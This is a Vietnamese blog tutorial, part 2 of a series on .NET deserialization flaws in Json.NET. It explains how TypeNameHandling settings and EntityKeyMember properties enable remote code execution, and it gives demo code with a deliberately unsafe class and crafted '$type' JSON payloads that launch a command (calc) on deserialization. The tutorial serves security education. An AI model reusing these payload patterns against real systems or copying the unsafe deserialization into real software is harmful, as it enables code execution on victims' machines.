- vừa được xem lúc

Lỗ hổng .NET deserialize 101 (P2)

0 0 10

Người đăng: Ngocanh Le

Theo Viblo Asia

Tiếp tục seri về .NET deserialization. Hôm nay mình sẽ giới thiệu với các bạn về JSON.NET. Json.net hay còn gọi là Newtonsoft.Json không phải là thư viện chính thức của microsoft nhưng có nhiều người dùng nhờ ưu điểm hiệu suất tuyệt vời. Hình ảnh dưới đây là biểu đồ so sánh hiệu suất:

image.png

Ví dụ về Json.Net

using Newtonsoft.Json;
using System; namespace Json.NetSerializer
{ class Person { public string Name { get; set; } } class Program { static void Main(string[] args) { Person person = new Person(); person.Name = "jack"; string v = JsonConvert.SerializeObject(person); string v1 = JsonConvert.SerializeObject(person, new JsonSerializerSettings() { TypeNameHandling = TypeNameHandling.None }); string v2 = JsonConvert.SerializeObject(person, new JsonSerializerSettings() { TypeNameHandling = TypeNameHandling.All }); Console.WriteLine(v); Console.WriteLine(v1); Console.WriteLine(v2); Console.ReadKey(); } }
}

Kết quả khi chạy đoạn code trên như sau:

image.png

Có thể thấy, khi tham số JsonSerializerSettings với giá trị TypeNameHandling.All được truyền vào, kết quả json trả về sẽ bao gồm cả thông tin về type vừa được serialize. Khi tham số trên không được truyền vào thì method SerializeObject sẽ được gọi như bên dưới

image.png

Do các tham số đều là null nên jsonSerializer sẽ được khởi tạo với các tham số mặc định

image.png

image.png Và rõ ràng thì internal const TypeNameHandling DefaultTypeNameHandling = TypeNameHandling.None;

TypeNameHandling có thể có các giá trị như sau

image.png

Json.Net sử dụng constructor và setter trong quá trình deserialize. Sử dụng được với các interface. Chỉ các property có scope là public khi (de)serialize mới được gọi tới setter.

Điều kiện trigger RCE

Giá trị TypeNameHandling phải khác None. Ngoài ra chúng ta phải control được giá trị Json truyền vào để thực hiện deserialize và object được deserialize phải có property có kiểu dữ liệu object.

Nếu TypeNameHandling có giá trị None thì property cần có kiểu dữ liệu System.Data.EntityKeyMember hoặc các kiểu dữ liệu kế thừa nó.

Tôi sẽ chia ra làm 2 case để demo cho dễ, case thứ nhất là TypeNameHandling khác None và case thứ 2 là TypeNameHandling bằng None

Demo

Trường hợp TypeNameHandling khác None

 public class Person { public Person(string cmd) { this._cmd = cmd; } public string Name { get; set; } private string _cmd; public string cmd { get { return this._cmd; } set { this._cmd = value; } } private void Run() { System.Diagnostics.Process.Start(this._cmd); } [OnDeserializing] public void During(StreamingContext context) { this.Run(); } } public class Json { public Json() {} public string id { get; set; } public object a; } internal class Program { static void Main(string[] args) { Person person = new Person("calc"); person.Name = "jack"; Json test = new Json(); test.a = person; string v2 = JsonConvert.SerializeObject(test, new JsonSerializerSettings() { TypeNameHandling = TypeNameHandling.All }); Console.WriteLine(v2); string payload = "{\"$type\":\"demo.Json, demo\",\"a\":{\"$type\":\"demo.Person, demo\",\"Name\":\"jack\",\"cmd\":\"calc\"},\"id\":null}"; Json a = JsonConvert.DeserializeObject<Json>(payload, new JsonSerializerSettings(){TypeNameHandling = TypeNameHandling.All}); Console.ReadKey(); } }

image.png

Trường hợp TypeNameHandling bằng None

 public class Person { public Person(string cmd) { this._cmd = cmd; } public string Name { get; set; } private string _cmd; public string cmd { get { return this._cmd; } set { this._cmd = value; } } private void Run() { System.Diagnostics.Process.Start(this._cmd); } [OnDeserializing] public void During(StreamingContext context) { this.Run(); } } public class Json { public Json() {} public string id { get; set; } public System.Data.EntityKeyMember b; } internal class Program { static void Main(string[] args) { string payload = "{\"b\":{\"Key\":\"key\",\"Type\":\"demo.Person, demo\",\"Value\":{\"cmd\":\"calc\"}},\"id\":\"123\"}"; Json a = JsonConvert.DeserializeObject<Json>(payload, new JsonSerializerSettings(){TypeNameHandling = TypeNameHandling.None}); Console.ReadKey(); } }

image.png

Với ví dụ thực tế hơn bạn đọc có thể đọc bài viết sau của mình. https://viblo.asia/p/phan-tich-lo-hong-thuc-thi-ma-tu-xa-tren-c1-cms-cve-2021-34992-OeVKBBDrKkW

Tham Khảo

https://github.com/Y4er/dotnet-deserialization/blob/main/Json.Net.md

Bình luận

Bài viết tương tự

- vừa được xem lúc

Think out of the box trong việc tìm kiếm lỗ hổng .NET deserialization

Góc xàm xí. Nghe cái tiêu đề ngầu thế thôi. Chứ thực ra đối với các pro rồi thì bài viết này cũng chỉ là múa rìu qua mắt thợ mà thôi nha. Giới thiệu.

0 0 33

- vừa được xem lúc

Phân tích lỗ hổng thực thi mã từ xa trên C1 CMS: CVE-2021-34992

Cách đây một khoảng thời gian mình bắt đầu học về lỗ hổng .NET deserialize dẫn đến RCE.

0 0 37

- vừa được xem lúc

Phân tích CVE-2022-24787: Lỗ hổng .NET deserialization dẫn đến SSRF

Tiếp nối những bài phân tích về lỗ hổng trên C1 CMS. Hôm nay tôi sẽ phân tích một lỗ hổng khá thú vị, đó là CVE-2022-24787, lỗ hổng Deserialization dẫn đến SSRF hoặc cắt nội dung file tùy ý trên C1 CM

0 0 44

- vừa được xem lúc

Lỗ hổng .NET deserialize 101 (P1)

Có thể các bạn cũng thắc mắc khi đọc cái tiêu đề này, bởi lẽ mình cũng đã viết kha khá bài nói về lỗ hổng này thông qua việc phân tích các mã CVE đã biết. Vậy tại sao mình lại viết thêm bài này.

0 0 18

- vừa được xem lúc

Lỗ hổng .NET deserialize 101 (P3)

Tiếp tục các bài viết về lỗ hổng .NET deserialization, bài viết hôm nay tôi sẽ giới thiệu với các bạn về tấn công .

0 0 8